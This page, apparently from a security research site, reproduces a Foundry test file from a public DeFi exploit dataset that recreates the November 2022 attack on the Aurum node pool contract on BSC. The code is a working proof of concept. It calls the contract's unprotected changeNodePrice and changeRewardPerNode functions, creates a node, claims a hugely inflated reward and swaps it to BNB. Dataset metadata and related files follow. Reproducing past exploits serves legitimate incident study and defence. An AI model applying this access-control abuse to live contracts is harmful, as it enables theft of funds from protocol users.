Public reproduction file
src/test/2022-11/AUR_exp.sol
Public reproduction file for dataset entry - AUR.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/AnciliaInc/status/15951422465709588489// @TX10// https://phalcon.blocksec.com/tx/bsc/0xb3bc6ca257387eae1cea3b997eb489c1a9c208d09ec4d117198029277468e25d11// https://phalcon.blocksec.com/tx/bsc/0x7f031e8543e75bd5c85168558be89d2e08b7c02a32d07d76517cdbb10e27978212interface IAurumNodePool {13 struct NodeEntity {14 uint256 nodeId;15 uint256 creationTime;16 uint256 lastClaimTime;17 }19 function createNode(20 uint256 count21 ) external;22 function changeNodePrice(23 uint256 newNodePrice24 ) external;25 function changeRewardPerNode(26 uint256 _rewardPerDay27 ) external;28 function claimNodeReward(29 uint256 _creationTime30 ) external;32 function getRewardAmountOf(address account, uint256 creationTime) external view returns (uint256);33 function getNodes(34 address account35 ) external view returns (NodeEntity[] memory nodes);36}38contract ContractTest is Test {39 IERC20 AUR = IERC20(0x73A1163EA930A0a67dFEFB9C3713Ef0923755B78);40 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);42 IAurumNodePool AurumNodePool = IAurumNodePool(0x70678291bDDfd95498d1214BE368e19e882f7614);43 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);45 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);47 function setUp() public {48 cheats.createSelectFork("bsc", 23_282_134);49 cheats.deal(address(this), 0.01 ether);50 }52 function testExploit() public {53 AUR.approve(address(AurumNodePool), type(uint256).max);54 AUR.approve(address(Router), type(uint256).max);56 emit log_named_decimal_uint("[Start] Attacker BNB balance before exploit", address(this).balance, 18);58 BNBtoAUR(0.01 ether);60 AurumNodePool.changeNodePrice(1_000_000_000_000_000_000_000);61 AurumNodePool.createNode(1);63 IAurumNodePool.NodeEntity[] memory nodes = AurumNodePool.getNodes(address(this));65 cheats.roll(23_282_171);66 cheats.warp(1_669_141_486);68 AurumNodePool.changeRewardPerNode(434_159_898_144_856_792_986_061_626_032);70 emit log_named_uint(71 "AurumNodePool Attacker reward:", AurumNodePool.getRewardAmountOf(address(this), nodes[0].creationTime)72 );74 require(block.timestamp > nodes[0].lastClaimTime);76 AurumNodePool.claimNodeReward(nodes[0].creationTime);78 AURtoBNB();80 emit log_named_decimal_uint("[End] Attacker BNB balance after exploit", address(this).balance, 18);81 }83 function BNBtoAUR(84 uint256 amount85 ) internal {86 address[] memory path = new address[](2);87 path[0] = address(WBNB);88 path[1] = address(AUR);89 Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(90 0, path, address(this), block.timestamp + 6091 );92 }94 function AURtoBNB() internal {95 address[] memory path = new address[](2);96 path[0] = address(AUR);97 path[1] = address(WBNB);98 Router.swapExactTokensForETHSupportingFeeOnTransferTokens(99 AUR.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60100 );101 }103 fallback() external payable {}104}Analysis
Dataset entry
Public Foundry test for “- AUR” (2022-11-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-11/Annex_exp.solSame month in the dataset · 134 lines
- src/test/2022-11/BDEX_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/BrahTOPG_exp.solSame month in the dataset · 88 lines
- src/test/2022-11/DFX_exp.solSame month in the dataset · 108 lines
- src/test/2022-11/Kashi_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/MBC_ZZSH_exp.solSame month in the dataset · 104 lines
- src/test/2022-11/MEV_0ad8_exp.solSame month in the dataset · 66 lines
- src/test/2022-11/MooCAKECTX_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/NUM_exp.solSame month in the dataset · 72 lines
- src/test/2022-11/Polynomial_exp.solSame month in the dataset · 98 lines
- src/test/2022-11/SDAO_exp.solSame month in the dataset · 109 lines
- src/test/2022-11/SEAMAN_exp.solSame month in the dataset · 71 lines
- src/test/2022-11/SheepFarm_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/UEarnPool_exp.solSame month in the dataset · 131 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- AUR
- Path
- src/test/2022-11/AUR_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 13126e4a78a8da31dffd696b19dc31caad5f538c
- Language
- Solidity
- Size
- 105 lines
- Date
- 2022-11-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-11/AUR_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 13126e4a78a8da31dffd696b19dc31caad5f538c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.